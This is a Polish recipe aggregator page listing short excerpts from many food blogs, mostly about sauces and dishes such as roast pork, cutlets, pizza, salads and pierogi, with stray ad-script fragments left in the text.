Piekłam je ok. 1,5 godziny w temperaturze 180 stopni przykryte folią aluminiową. Po upieczeniu mięso pozostawiłam w piekarniku do wystygnięcia. Następnie wyjęłam je z powstałego w trakcie pieczenia sosu, owinęłam folią i schłodziłam w lodówce. Dobrze schłodzone mięso pokroiłam na cienkie plasterki jak wędlinę. Mięso można też pokroić w grubsze plastry i podać jako pieczeń obiadową z ulubionymi dodatkami

Waniliowe Improwizacje
Durrës - stolica albańskiego wybrzeża | Bałkany cz.7 168

przez lokalsów. Znajdziemy tu co prawda głównie potrawy mięsne, z grilla. Jednakże udało nam się uformować również przepyszny wegetariański obiad składający się z pity, grillowanych warzyw, zapiekanej fety i sosu tzatziki. Warto wspomnieć o tym, że oprócz pysznego jedzenia skuszą nas ceny, które nawet jak na albańskie warunki są bardzo niskie. Za cały zestaw zapłaciliśmy około 5-6 euro

Roślinożerni urlopowicze
Kotleciki rosołowe 139

oleju. Kotleciki smażyłam na łady brązowy kolor z obu stron i wykładałam na talerz wyłożony ręcznikiem papierowym. Kotleciki można podać z ziemniakami, frytkami, pieczywem lub samodzielnie z dodatkiem np. sosu czosnkowego. SMACZNEGO

Waniliowe Improwizacje
Deser z kaszy manny 164

dość często przy okazji coraz to nowych przepisów z jej wykorzystaniem. Jej zaletą jest to, że można ją wykorzystać do wielu dań i deserów. Ja zagęszczam nią zupy, sosy, używam jej do placków, naleśników, ciast pieczonych, kremów do przekładania ciast itp. Dziś zrobiłam deser z jej wykorzystaniem. Jest to deser, który można jeść na ciepło lub na zimno. Dla mnie

Waniliowe Improwizacje
Ryba smażona w cieście 153

złoty kolor i wyjmowałam na talerz wyłożony ręcznikiem papierowym. Taką rybę można podać jako danie obiadowe z ziemniakami i surówką np. z kiszonej kapusty, lub jako przekąskę np. z sosem czosnkowym. SMACZNEGO

Waniliowe Improwizacje
Schab duszony z cebulą i śmietaną 156

Doprawiłam do smaku sola i pieprzem. Garnek ustawiłam na gazie i dusiłam mięso aż było miękkie. Wtedy dodałam śmietanę i dusiłam jeszcze kilkanaście minut. Jeśli ktoś woli bardziej gęste sosy, można na koniec zagęścić mąką ziemniaczaną rozrobioną w odrobinie zimnej wody lub kaszą manną. SMACZNEGO

Waniliowe Improwizacje
Kotleciki szuszu 124

talerz wyłożony ręcznikami papierowymi, aby odsączyć je z nadmiaru tłuszczu. Tak przygotowane kotleciki można podawać jako danie obiadowe z ziemniakami i surówką, lub jako przekąskę, serwując je np. z sosem czosnkowym. SMACZNEGO

Waniliowe Improwizacje
Schab ze śliwką 147

temperaturze 180 stopni. Ostatnie 20 minut piekłam je bez przykrycia. Schab jako, że miał służyć za wędlinę, to pozostawiłam do wystygnięcia w piekarniku, a następnie wyjęłam go z powstałego sosu, zawinęłam w folię aluminiową i schłodziłam w lodówce. Wtedy lepiej się kroi. (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam do odwiedzenia pozostałych moich przepisów na mięsa pieczone i gotowane, np.: https://wanilioweimprowizacje.blogspot.com/2019/12/pieczen-z-miesa-mielonego.html),

Waniliowe Improwizacje
Domowy kebab wieprzowy 145

plasterki. Plasterki usmażyłam na patelni na niedużej ilości oleju. Gdy były rumiane wyłożyłam je na talerz. Usmażone plasterki mięsa można podać na talerzu np. z frytkami, surówką i ulubionym sosem. Można je też podać w tortilli. Wtedy każdą tortillę smarujemy majonezem. Na środku układami kilka plasterków mięsa i zwijamy jak kebab. Takie tortille można dodatkowo zgrillować. SMACZNEGO

Waniliowe Improwizacje
Kopytka pszenno - kukurydziane z serem feta 141

wrzuciłam kluski. Kluski gotowałam jakieś 2-3 minuty od wypłynięcia na powierzchnię, a następnie łyżką cedzakową wyłożyłam je na półmisek. Kopytka można podać z cebulką i skwarkami, twarogiem, sosem mięsnym lub innymi ulubionymi dodatkami. (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam do odwiedzenia pozostałych moich przepisów na kopytka i inne kluski, np.: kopytka ziemniaczano - serowo - marchewkowe (link do przepisu: https://wanilioweimprowizacje.blogspot.com/2018/04/kopytka-ziemniaczano-marchewkowo-serowe.html),

Waniliowe Improwizacje
Pizza z patelni (bez drożdży) 150

gustu, bo jest lekko chrupiące. Od tej pory będzie to chyba moje ulubione cienkie ciasto na pizzę. Dodatki można dobrać dowolne. U mnie to ketchup z cukinii jako sos, smażona cebula i kotlety mielone. Dodatkowo oczywiście ser żółty. Oto dokładny przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na ciasto: 100g mąki pszennej ok. 80ml wody 1 łyżka oleju + do posmarowania patelni

Waniliowe Improwizacje
Belgia - Białe szparagi po flamandzku (Asperges op Vlaamse Wijze) 146

środku). 2) W garnuszku rozpuszczamy masło, dodajemy ugotowane na twardo jajka, sok z cytryny, natkę pietruszki, sól i pieprz. Rozgniatamy widelcem i dokładnie mieszamy. 3) Szparagi podajemy "polane" (sos w zasadzie ma konsystencję pasty) naszą flamandzką mazią z jajek

Roślinożerni urlopowicze
Kluski z kaszą kuskus 148

ziemniaków i kaszy kuskus. Można je podawać jak tradycyjne kopytka, czyli na słodko np. z masełkiem i bułką tartą, lub ze skwarkami i cebulką. Mogą też stanowić dodatek do sosu pieczarkowego czy mięsnego gulaszu. Robi się je łatwo i szybko, więc polecam. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: ok. 300g ugotowanych ziemniaków 0,5szkl. suchej kaszy kuskus 2 małe

Waniliowe Improwizacje
Mini kotleciki musztardowo - piwne 109

kulki z mięsa mielonego, smażone na patelni, które robi się podobnie jak popularne kotlety mielone. Można je podawać jako przekąskę na ciepło lub na zimno z różnymi sosami, można je nadziewać na patyki od szaszłyków lub robić z nich koreczki. Można je również podać jako danie główne np. z frytkami i surówką. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: ok. 500g

Waniliowe Improwizacje
Indonezja - Tempeh w mleczku kokosowym (Usih tempeh) 109

drobną kosteczkę i wrzucamy do garnka. Dodajemy przyprawy i dokładnie mieszamy. 3) Tempeh kroimy w kostkę i dodajemy do garnka. Gotujemy na małym ogniu przez około 15 minut, aż sos zgęstnieje. 4) Podajemy z ryżem (tradycyjnie) lub (mniej tradycyjnie) z makaronem ryżowym. U nas również jako dodatek zagościł brokuł, ale nie mówcie prawdziwym Indonezyjczykom, bo mogą chwycić się za głowę

Roślinożerni urlopowicze
Rozetki ziemniaczane 161

Bardzo je lubię, ale czasem potrzeba jakiejś odmiany, więc tym razem powstały rozetki ziemniaczane. Takie rozetki piecze się w piekarniku. Można je podać jako samodzielną przekąskę, np. z dodatkiem sosu czosnkowego, lub jako dodatek do obiadu zamiast ziemniaków. Są mięciutkie w środku i mają fajną chrupiącą skórkę. Do tego bardzo ładnie wyglądają. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500g ugotowanych

Waniliowe Improwizacje
Chorwacja - Njoki z wędzonym sosem migdałowo-tymiankowym 120

gałązek tymianku i gałązki rozmarynu zdejmujemy listki i wrzucamy na patelnię. Przyprawiamy gałką muszkatołową, solą i pieprzem. Dokładnie mieszamy. 5) Wlewamy śmietankę, mieszamy. Gotujemy 2-3 minuty, aż sos zgęstnieje. Wrzucamy gnocchi, dokładnie mieszamy. 6) Gnocchi podajemy posypane tartymi na najdrobniejszych oczkach tarki migdałami

Roślinożerni urlopowicze
Makaron pszenno - owsiany 115

Gotowałam go kilka minut od wypłynięcia na powierzchnię. Makaron odcedziłam, przelałam zimną wodą i wymieszałam z łyżką oleju. Makaron można podawać do zupy typu pomidorowa czy rosół, lub z sosem mięsnym. My lubimy również zimny makaron odsmażyć na maśle na patelni. SMACZNEGO

Waniliowe Improwizacje
Uszka z grzybami i soczewicą 145

świetny dodatek do barszczu lub innej zupy. Można je również wykorzystać do innych dań zamiast tradycyjnego makaronu. Ja czasem smażę je z warzywami na patelnię, lub mięsem i sosem. Można je podać jako danie główne, okraszając je cebulką i skwarkami, lub odgrzewając na masełku. Takie uszka można też wykorzystać do sałatki zamiast sklepowego tortellini. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki

Waniliowe Improwizacje
Cudny wypoczynek - Białka Tatrzańska 105

budynkiem restauracji ukazuje przekrój ziemi wysoki na kilka metrów - "to przecież kiedyś było dno morza"... That's why :) Restauracja, restauracja... Jadłam pysznego pstrąga w maśle, z czosnkiem - to najwspanialszy sos jakiego ta ryba się mogła doczekać! Oj, było cudnie... Teraz już potrzebuję snu... Następnym razem opowiem Wam jak robiłam oscypki w białczańskiej bacówce! Życzę Wam słonecznego weekendu

Gary Bez dna
Oliwa bazyliowa i pesto z orzechami 108

potrzeby dodaj soku z cytryny, miodu lub czosnku - niech smakuje tak jak lubisz! Pesto idealnie nadaje się jako smarowidło do kanapek, dodatek do np. klusków śląskich lub jako samodzielny sos do makaronu. Poniższe aranżacje fotograficzne są efektem zaangażowania mojej mamy w robienie zdjęć :) ... w żółtym dyniowym kwiatku siedziała pszczoła! Co dobrego w bazylii? Świeża bazylia jest po pierwsze prze-pyszna

Gary Bez dna
Pomidor! Czyli jak zrobić domowy ketchup 97

retinol. Silny przeciwutleniacz. Najbardziej przyswajalny jest po podgrzaniu (z dodatkiem oliwy, bo karotenoidy rozpuszczają się w tłuszczach) - przekształca się wtedy w trans-likopen. Znajdziemy go w pastach pomidorowych, sosach lub na przykład w osobiście przygotowanym ketchupie... :) Jeszcze się chcę podzielić nowiną dnia... jestem oficjalnym członkiem międzynarodowego ruchu SlowFood - dostałam dziś legitymację! Czyż to nie wygląda wspaniale? :) JAK. JA. SIĘ. CIESZĘ

Gary Bez dna
Razowe placki z jabłkami 126

Jabłka umyj i zetrzyj na grubych oczkach tarki - można nie obierać :)  Kładź placki na dobrze rozgrzanym tłuszczu. Najlepiej robić niewielkie placki tak, żeby można je było łatwiej przekręcać :) Sos miętowy Składniki: śmietana/jogurt posiekane liście mięty pokrojona w paseczki suszona żurawina Wszystkie składniki wymieszaj w takich proporcjach, żeby zachować odpowiednią dla Ciebie konsystencję i smak. Próbuj :)  Może dodasz

Gary Bez dna
Sól grzybowa 115

mieć w kuchennej szafce. Wzbogaca smak i aromat potraw. Dzięki połączeniu soli i startych na pył grzybów możemy ograniczyć ilość soli dodawanej do posiłków. Ja dodaję jej chętnie do sosów, gulaszu oraz zup - świetnie działa z wołowiną i wszelkimi warzywami. Słony i "piąty" smak Grzyby wprowadzają do dań smak umami . Po słodkim, słonym, kwaśnym i gorzkim - piąty smak jest odczuciem

Gary Bez dna
Żeberka pieczone na dwa sposoby 119

marynacie z whisky Składniki na 5-6 porcji: 1 kg żeberek wieprzowych 3 łyżki oleju (ja użyłam rzepakowego) 5 łyżek whisky (ja użyłam szkockiej) 1 łyżka miodu 2 łyżki sosu sojowego 1 łyżka soli sok z 1/2 cytryny 1 cebula posiekana w drobną kostkę 2 ząbki czosnku przeciśnięte przez praskę 1/2 łyżki świeżo mielonego pieprzu 1/2 łyżki papryki ostrej

Gary Bez dna
Spaghetti z kurczakiem i brokułami 123

problemu, jeśli nie masz pewności, nie syp od razu czubatej łyżki 😉 5. Po chwili dodaj na patelnię odłożoną wcześniej wodę z gotowania makaronu, aby utworzył się jednolity sos. Następnie dodaj makaron i ugotowanego brokuła. 6. Na koniec dopraw do smaku solą i pieprzem

Z notatnika dietetyka
Pstrąg łososiowy z cytrusami 124

kaloryczne i nie warto włączać ich do diety. Nie do końca jest to prawda - ziemniak to tylko warzywo, sam w sobie nie jest kaloryczny. Za to bardzo kaloryczne są sosy i inne okrasy, które zazwyczaj do ziemniaków dodajemy. Jeśli więc zjemy ziemniaki ugotowane w wodzie bez kalorycznych dodatków obiad nie stanie się bombą kaloryczną przez dodatek tych warzyw. Nie bójmy

Z notatnika dietetyka
Fakty i mity o odchudzaniu - część I 159

mineralnych oraz błonnika – warto więc wybierać pieczywo ciemne oraz makarony razowe lub z semoliny. Ziemniaki z kolei to po prostu warzywa – problemu nie stanowią więc same ziemniaki, a kaloryczne sosy i zasmażki, które do nich dodajemy, a z których rzeczywiście warto zrezygnować. 6. Ostre przyprawy pobudzają przemianę materii – PRAWDA Jest to prawda. Rzeczywiście ostre przyprawy mogą podkręcić nasz metabolizm

Z notatnika dietetyka
Pad Thai z kurczakiem 151

miseczce roztrzep widelcem jajka. 4. Na dużej patelni rozgrzej olej, wlej roztrzepane jajka i makaron, , do tego dodaj pokrojonego kurczaka i smaż około 5 minut. Po tym czasie dodaj sos Pad Thai, orzechy, posiekaną dymkę, kiełki, sok z limonki i cukier. 5. Smaż do momentu, aż kurczak będzie gotowy. Polska wersja Pad Thai gotowa! Normal 0 21 false false false

Z notatnika dietetyka
Puree z kalafiora 132

klasyczny składnik drugiego dania, ulubiony dodatek do mięs. Choć ziemniaki same w sobie nie są bardzo kaloryczne (w końcu to tylko warzywo), to zazwyczaj podajemy je polane zawiesistym sosem lub rozpuszczonym masełkiem czy innym tłuszczem, a to powoduje, że nagle to niewinne warzywko zamienia się w istną bombę kaloryczną. Może więc czasem warto na talerz dać coś innego? Najczęściej jako

Z notatnika dietetyka
Ragout z królika 170

godziny. 12. Po tym czasie wyjmij naczynie z piekarnika. 13. Do małego rondelka wsyp łyżkę mąki, dodaj masło i zrób zasmażkę, którą rozpuść częścią bulionu do powstania sosu. Ragout możesz podać np. z ziemniakami czy ryżem. Ja tym razem postawiłam na makaron razowy. Nie zapomnij też o surówce

Z notatnika dietetyka
Śledziowe przekąski 159

minucie dodaj na patelnię koncentrat pomidorowy, ocet i resztę przypraw, po czym smaż jeszcze około 5 minut. 5. Śledzie pokrój w cząstki i ułóż w słoiku przekładając warstwami przygotowanego sosu. 6. Słoik szczelnie zamknij i zostaw w lodówce

Z notatnika dietetyka
Przepisy na Boże Narodzenie 148

stole. Postanowiłam więc przygotować dla Was małą ściągę ze świątecznymi przepisami, które z pewnością zasmakują Waszym bliskim 😊   COŚ NA CIEPŁO Dorsz pod kołderką z kapusty pekińskiej Dorsz w sosie pomidorowym Pstrąg łososiowy z cytrusami COŚ NA ZIMNO Pasztet z ciecierzycy Pomidorowy pasztet z soczewicy Rolada szpinakowa z wędzonym łososiem Śledziowe przekąski SAŁATKI Sa łatka z gruszką Sałatka z kaszą

Z notatnika dietetyka
Papryka faszerowana kuskusem 157

łyżeczkę masła, dosyp czubatą łyżeczką mąki i dokładnie wymieszaj rózgą. 11. Zalej bulionem (tutaj znajdziesz przepis na domowy bulion warzywny ) i dopraw do smaku pieprzem oraz curry. 12. Powstałym sosem polej upieczone papryki. Tak przygotowana papryka sama w sobie może stanowić pełne danie obiadowe, ewentualnie z dodatkiem jakieś dobrej surówki 😉 W takim przypadku podane składniki starczą na 4 porcje

Z notatnika dietetyka
Sałatka z winogronami 127

talerz, dodaj ser, winogrona i orzechy, wszystko posyp kiełkami. 5. Oliwę wymieszaj z octem balsamicznym i miodem, dopraw solą i pieprzem, wstrząśnij lub mocno wymieszaj i tak przygotowanym sosem polej sałatkę

Z notatnika dietetyka
Sałatka śledziowa 163

kostkę i przelej na sitku wrzątkiem. 5. Do śledzi dodaj jajko, groszek i cebulę. 6. Wymieszaj majonez z jogurtem i musztardą, dodaj pieprz, sól i natkę pietruszki. Tak przygotowanym sosem zalej śledzie z dodatkami i dokładnie wymieszaj. Sałatkę można zjeść samą, ale można też podać z kromką razowego chlebka - ja preferuję drugą opcję

Z notatnika dietetyka
Kurczak curry 148

Kurczak curry to jeden z pyszniejszych przepisów kuchni indyjskiej. Zobacz jak w prosty sposób przygotować to smaczne danie. To idealne kawałki piersi z kurczaka w aksamitnym sosie curry z warzywami. Polecam! - świetny pomysł na obiad - dokładny przepis i wiele porad - kilka pomysłów na podanie kurczaka curry

AniaGotuje.pl
Lawasz z kurczakiem i warzywami 1980

ułożyć na patelni "szwem" do dołu, smażyć z obu stron na średnim ogniu. Najlepiej smakuje na ciepło, gdy ser w środku jest ciągnący. Można podać z ulubionym sosem (np. czosnkowym, tysiąca wysp ). Smacznego

Obiad gotowy
Pyra faszerowana pieczona 148

jogurtu naturalnego ze szczypiorkiem, surówki z kapusty pekińskiej z pieczonym mięsem z kurczaka. U mnie było na bogato ale samodzielne danie, również się sprawdzi. Pyra faszerowana polana jogurtem lub sosem czosnkowym jest pycha. Zapraszam do przepisu. Składniki 10 średnich ziemniaków 300 g sera wędzonego cebula główka czosnku 10 plastrów wędzonego boczku przyprawa do ziemniaków sól, pieprz olej Ziemniaki obrać obgotować

gotuj ze mną
Krakersy z czosnkiem i szczypiorkiem (Cracker all'aglio e erba cipollina) 169

szczypiorkiem? Proste i szybkie w przygotowaniu bez zbędnych dodatków, jakie możemy znaleźć w gotowych krakersach dostępnych w sklepach. Krakersy najlepiej smakują w towarzystwie wszelkiego rodzaju past, dipów i sosów. Polecam Wam również wcześniejsze przepisy na  bezglutenowe krakersy gryczane z ziarnami  oraz  razowe krakersy z płatkami owsianymi i sezamem . Smacznego ! **** Cosa ne dite di una versione casalinga

La grande e la piccola cuoca
Kotlety z kaszy gryczanej z boczkiem 173

był super pomysł. Smakują wyśmienicie na obiad czy kolację czy na śniadanie, do Was należy wybór. Warto zrobić do nich jakąś prostą surówkę czy sałatkę, podać z sosem czosnkowym czy paprykowym, będzie idealnie. Kotlety z kaszy z boczkiem. CZYTAJ DALEJ

Moje Małe Czarowanie
Bolognese z gnocchi 157

mięso. Dodajemy czosnek, bazylię i oregano. Chwilę podsmażamy. Wlewamy przecier pomidorowy i doprawiamy do smaku przyprawami. Chwilę gotujemy. W międzyczasie gotujemy według przepisu gnocchi. Gnocchi przekładamy na patelnię z sosem, chwilę podgrzewamy i gotowe. Na talerzu posypujemy tartym żółtym serem. Smacznego

Maminek kulinarny
Jambalaya z kurczakiem i chorizo 128

minuty. Teraz wlewamy bulion, dodajemy koncentrat pomidorowy, pomidory z puszki, obie papryki i papryczkę chilli. Całość dusimy około 10 minut. 4. Następnie dodajemy selera naciowego i chorizo. Gotujemy. Jak sos się nam zagęści dodajmy posiekany szczypiorem, doprawiamy solą i pieprzem. Przekładamy na talerze, przed podaniem posypujemy świeżą kolendrą :-) Smacznego

kruche babeczki
Sałatka z tortellini i kurczakiem 1264

kurczaka świetnie sprawdzi i zaprezentuje się na stole jako jedna z imprezowych przekąsek bądź jako smaczna kolacja. Pyszne połączenie serowych makaroników z dobrze doprawionym kurczakiem w jogurtowo-majonezowym sosie. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 opakowanie makaronu tortellini z serem 250 gram 1 duża pojedyncza pierś z kurczaka 1 ogórek szklarniowy 1 średnia czerwona papryka pół puszki kukurydzy pół pęczka szczypiorku

Blog kulinarny S9.PL
Kanapkowa pasta z ciecierzycy z marchewką i szpinakiem 145

poczułam się lepiej. Można otworzyć nowy rozdział:) Print Kanapkowa pasta z ciecierzycy z marchewką i szpinakiem Kanapkowa pasta z ciecierzycy z marchewką i szpinakiem, z dodatkiem natki pietruszki i sosu tahini. Keyword ciecierzyca, pasta kanapkowa, szpinak, wegańskie Prep Time 30 minutes Ingredients 1 marchewka 1 cebula 3 ząbki czosnku 2 łyżki oliwy do smażenia 1 puszka ciecierzycy

Cooking for Emily
Brokuł zapiekany z sosem czosnkowym 175

Brokuły zawierają wyjątkowe wartości zdrowotne, dlatego nie może ich zabraknąć w zdrowej diecie. Zamiast panującego nudnego brokuła gotowanego na parze proponuję pełne smaku zielone różyczki zapieczone ze śmietanowym sosem czosnkowym. Warto od czasu do czasu przygotować go w innej postaci, by się nie znudził

Gotuj zdrowo!Guten Appetit!
Chrupiąca sałatka z fetą, oliwkami, ziarnami i orzechami 177

obiad i wierzcie mi, że nasyciła mnie na długi czas. Najważniejszy jest dobór odpowiednich ziół sałatkowych. Jeżeli nie macie pewności, to można kupić gotową saszetkę - ja lubię w szczególności sos sałatkowy francuski. Nie zapomnijcie również o wykorzystaniu dobrej oliwy z oliwek. Składniki na 2 duże porcje. SKŁADNIKI 1 duże opakowanie miksu sałat 1/2 czerwonej papryki 1/2 żółtej papryki

Passions hobbies life
śniadanie smaczne i pożywne... 163

przyjemność testować produkty "zobacz TUTAJ" , paczkę dostałam do testowania od "zobacz TUTAJ" i jest organizatorem Kampania Wielki Test ALDI W paczce dostałam: 4 x ciasto na pizzę z sosem pomidorowym Mama Mancini, 4 x szynka Szwarcawaldzka, 4 x kiełbaski Norymberskie, 4 x ser Maasdamer, 4 x francuski ser miękki dojrzewający Le Coq De France, 3 x 400ml wkład chłodzący

W Mojej Kuchni Lubię
Makaron z tuńczykiem i pomidorami 310

wykorzystujemy olej do podsmażenia składników. Chwilę smażymy, co jakiś czas mieszając. Następnie dodajemy naszego tuńczyka. Doprawiamy po całości pieprzem i solą, mieszamy. Jeszcze chwilę smażymy. Do naszego a la sosu dodajemy ugotowany makaron, mieszamy. Chwilę zostawiamy na patelni. Na koniec dodając szczypiorek, mieszamy i podajemy. Rada: Tuż przed podaniem do naszego makaronu z pomidorami i tuńczykiem można dodać

Słodkie okruszki
Kanapka z pastrami 205

serze układamy pokrojone w plasterki ogórki piklowane i przykrywamy całość drugą kromką pieczywa. Bardzo często pastrami spotykane jest również na przykład z kapustą kiszoną. Zamiast musztardy możecie wykorzystać również sos barbecue. Po prostu zróbcie kanapkę ze składników, które lubicie. Smacznego! Artykuł Kanapka z pastrami pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Szybka pasta z tuńczyka i serka wiejskiego 135

Jeśli lubicie tuńczyka, z pewnością przypadnie wam do gustu. Składniki na pastę z tuńczyka i serka wiejskiego: 4 jajka 200 g serka wiejskiego puszka (około 180 g) tuńczyka w sosie własnym w kawałkach ząbek czosnku sól, pieprz, papryka ostra Przygotowanie Jajka gotujemy na twardo, studzimy, obieramy i kroimy w plastry. Tuńczyka odsączamy z zalewy. Czosnek przeciskamy przez praskę. Serek wiejski

e-PrzepisyKulinarne
Krokiety z białym serem na waflu 144

Zwijamy ostrożnie dociskając wafel do farszu Kroimy ostrym nożem na małe kawałki, maczamy w jajku i bułce, smażymy chwilę na rozgrzanym tłuszczu Możemy posypać cukrem pudrem lub ulubionym słodkim sosem. Moje uwagi : próbowałam smarować wafel roztrzepanym białkiem, ale wafel nie namiękał tak jak tego oczekiwałam brzegi wafla pozostawiłam wolne by farsz mi nie"wychodził" z jednego wafla i podanej ilości

Proste Potrawy
Sałatka z tortellini i suszonymi pomidorami 139

Sałatka z tortellini i suszonymi pomidorami to sałatka, która powstała na życzenie mojego Męża :) Miał ochotę na jakaś sałatkę z makaronem tortellini w sosie na bazie oliwy i przypraw, więc postanowiłam stworzyć coś prostego i szybkiego. Taka sałatka The post Sałatka z tortellini i suszonymi pomidorami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Rarytaski Kiełbaski 135

Kukurydze odlewamy z zalewy i łączymy z warzywami. 4.   Na koniec dodajemy przecier, tabasco, chili i zaprawkę z mąki ziemniaczanej rozrobionej w małej ilości wody. 5.   W sos warzywny łączymy z pokrojonymi kiełbaskami i chwilę prużymy. 6.   Danie gotowe. 7.   Smacznego

Kulinarna Chwila
Ragoût z okrą i czerwonym ryżem 154

Ragoût w kuchni francuskiej to typ potrawy z mięsa lub warzyw, pokrojonych na regularnej wielkości kawałki i uduszonych w wywarze rybnym, warzywnym lub mięsnym, niekiedy w zagęszczonym zasmażką sosie, zwykle przyprawionych ziołami lub korzeniami. U mnie dziś z okrą a podałam z czerwonym ryżem. Okra na francuską nutę. CZYTAJ DALEJ

Moje Małe Czarowanie
Zapiekanka z makaronem po meksykańsku 123

gotować 5 minut. Odcedzić fasolkę i kukurydzę, następnie dodać do mięsa. Wymieszać, Makaron ugotować al dente, odcedzić. Na dnie żaroodpornego naczynia rozłożyć połowę makaronu. Na to mięso z sosem i warzywami, obsypać połową sera. Ponownie rozłożyć makaron i obsypać serem Pieczenie – nagrzać piekarnik do 200 C i piec 10 minut. Gotowe, smacznego

Kuchnia Pokoleń
Laksa aromatyczna zupa z curry 177

curry - 1 łyżka tofu - 1 opakowanie opcjonalnie: dorsz lub krewetki lub pierś z kurczaka - 400 g ok 1,5 l. bulionu warzywnego czosnek - 2 ząbki imbir świeży- 2 cm sos sojowy - 2 -3 łyżki pomidorki koktajlowe -kilka sztuk kolendra świeża do smaku mleko kokosowe - 100 ml olej - 2 łyżki marchewka - 1 szt. pasta chili sambal- 1 łyżeczka Ugotować makaron

AZgotuj!
Najlepsza pizza w Rzeszowie - moje rekomendacje 130

moich obserwatorów/czytelników! :) Większość odpowiedzi pokrywała się z moimi rekomendacjami jednak nie wszystkie, część testowałam i MI nie przypadły do gustu (słabe składniki; papierowe talerze; plastikowe widelce; słabe sosy, których wcale nie powinno być), jednak zapraszam również na koniec wpisu - jeżeli nie spodoba Ci się moja lista zawsze możesz spojrzeć tam! :) 1. Al Metro Mój numer jeden na świecie

Czarnawisienka
Sałatka brokułowa z jajkiem 127

jajkiem w różnych wersjach smakowych występuje u nas często. Ale jakie składniki by nie były, prawie zawsze kończy się to dodaniem sosu czosnkowego i posypanie prażonym słonecznikiem 😀 no genialne połączenie! Tego typu sałatka pierwszy… Artykuł Sałatka brokułowa z jajkiem pochodzi z serwisu Kolorowy Przepisownik

Kolorowy Przepisownik
Pieczone pałki z warzywami 257

Składniki ok. 1 kg pałek z kurczaka kawałek selera 2 marchewki 1 cebula 1 brokuł 3-4 łyżki sosu worcester szczypta pieprzu kajeńskiego suszona trawa cytrynowa suszony czosnek niedźwiedzi słodka papryka, … Czytaj dalej Pieczone pałki z warzywami

czarrna od kuchni
Gulasz warzywny 197

Składniki: 1 puszka białej fasoli 1 puszka krojonych pomidorów 50 g szpinaku 2 łodygi selera naciowego 1/2 cukinii kawałek pora sól, pieprz słodka papryka zioła prowansalskie ostry sos chili Przygotowanie: … Czytaj dalej Gulasz warzywny

czarrna od kuchni
Hochop- kurczak z granatem duszony w białym winie 149

ziarenkami granatu? Jeśli nie, to polecam Wam ten przepis i zachęcam do wypróbowania. Przepis jest banalnie prosty, ale potrawa wychodzi wyśmienita. W Armenii Hochop podają z gotowanymi ziemniakami, a sos zajadają z pieczywem. Uwielbiam ten smak. Spróbujcie koniecznie Składniki: – 1kg kurczaka ( u mnie udka, pałki i filety z piersi) – 6 dużych cebul – 1 duży granat – sól

Smaki Armine
Domowa pizza 136

dużą prostokątną, ciasto wyłożyć na wysmarowaną oliwą blaszkę i delikatnie rozmasować, by przykryć całą powierzchnię blaszki, ciasto będzie sprężynować, dlatego zostawcie na 2 min. powtórzcie czynność, rozłożone ciasto posmarować sosem pomidorowym, ułożyć dodatki, piec w nagrzanym do temperatury 250 stopni piekarniku przez

Kuchnia Beaty
Owsianka z bananami i masłem orzechowym 157

temperatura za oknem spada poniżej zera od razu mam ochotę na bardziej sycące, rozgrzewające jedzenie. Właśnie taka jest moja dzisiejsza propozycja śniadaniowa owsianka z bananami, orzechami i sosem z masła orzechowego. Otula nasz żołądek jak mięciutka kołderka,  jest bardzo pożywna,  nasyci nas na długo,  a przy tym jest bardzo smaczna. Polecam! Składniki (na 2 porcje

Moja kraina smaków
Śledzie gajowego – Przysmak gajowego 197

chłodne miejsce. Śledzie najlepiej smakują na drugi dzień. śledzie gajowego, przysmak gajowego Zapraszam również do skorzystania z innych przepisów: Ryba po grecku z ogórkiem kiszonym i cebulą Śledzie w sosie koperkowym Zapiekanka z ryżem, brokułem i kurczakiem Placek po zbójnicku – przepis Artykuł Śledzie gajowego – Przysmak gajowego pochodzi z serwisu Księga Smaku

Księga-Smaku
Naleśniki Bon Appètit 153

Doprawiamy solą oraz oregano. 7.   Wsypujemy mąkę. 8.   Wlewamy mleko i razem wszystko mieszamy. 9.   Pieczemy naleśniki 10.    Podajemy z ketchupem lub dowolnym sosem. 11.    Smacznego

Kulinarna Chwila
Policzki wieprzowe z cukinią z wolnowaru 179

Dzisiaj przepis na wieprzowe policzki. Zrobione w wolnowarze. Danie jest bardzo aromatyczne i pożywne. Policzki wyszły niezwykle miękkie, a sosu z warzywami powstało na tyle dużo, że kończyliśmy go już bez mięsa. Przed włożeniem do wolnowaru, policzki obsmażyłam, ale sądzę, że ten etap można pominąć. Bardzo polecam! policzki wieprzowe z cukinią z wolnowaru - przepis składniki 600 g policzków wieprzowych

Stare Gary
Baleron pieczony 144

minut. Następnie zmniejszamy temperaturę do 150 stopni i pieczemy około 2 godzin (1 godz na 1 kg mięsa). Po wyjęciu studzimy. Mięsko idealne na kanapki lub można przygotować sos i będzie na obiad :-) Smacznego

kruche babeczki
Makaron udon z ośmiornicą 197

Składniki: 1/4 opakowania makaronu udon 200 g ośmiornicy 1/2 cukinii 1/2 czerwonej papryki 1/2 pora garść suszonych grzybów mun 1/2 łyżki mąki ziemniaczanej sos sojowy sól, pieprz chili korma curry … Czytaj dalej Makaron udon z ośmiornicą

czarrna od kuchni
PIEROGI Z ŁOSOSIEM (Z BAZYLIOWYM MASEŁKIEM) 178

pojedynczo pierogi, czekam aż wypłyną i wyławiam.  W rondelku rozpuszczam masło. Listki bazylii płuczę pod bieżącą wodą, siekam i wrzucam do masła. Dodaję odrobinę soli i pieprzu. Powstałym sosem polewam ciepłe pierogi. SMACZNEGO! * Jeśli nie masz pod ręką klarowanego masła, możesz zrobić je samodzielnie. W rondlu rozpuszczam kostkę masła i podgrzewam, aż na wierzchu pojawi się piana. Usuwam

W kuchni Karmel-itki
Kasze – zdrowie na talerzu 123

zmianę włączane do menu bardzo wzbogacają codzienne posiłki. Do tego dochodzi jeszcze możliwość przyrządzania kasz na wiele różnych sposobów . Te dość powszechnie stosowane są jako dodatek do zup i sosów. Z kasz można robić własne wypieki piekarnicze, dodawać je do ciast, serwować w połączeniu z warzywami albo twarogiem. Doskonale sprawdzą się także jako farsz i składnik deserów. Wiele odsłon

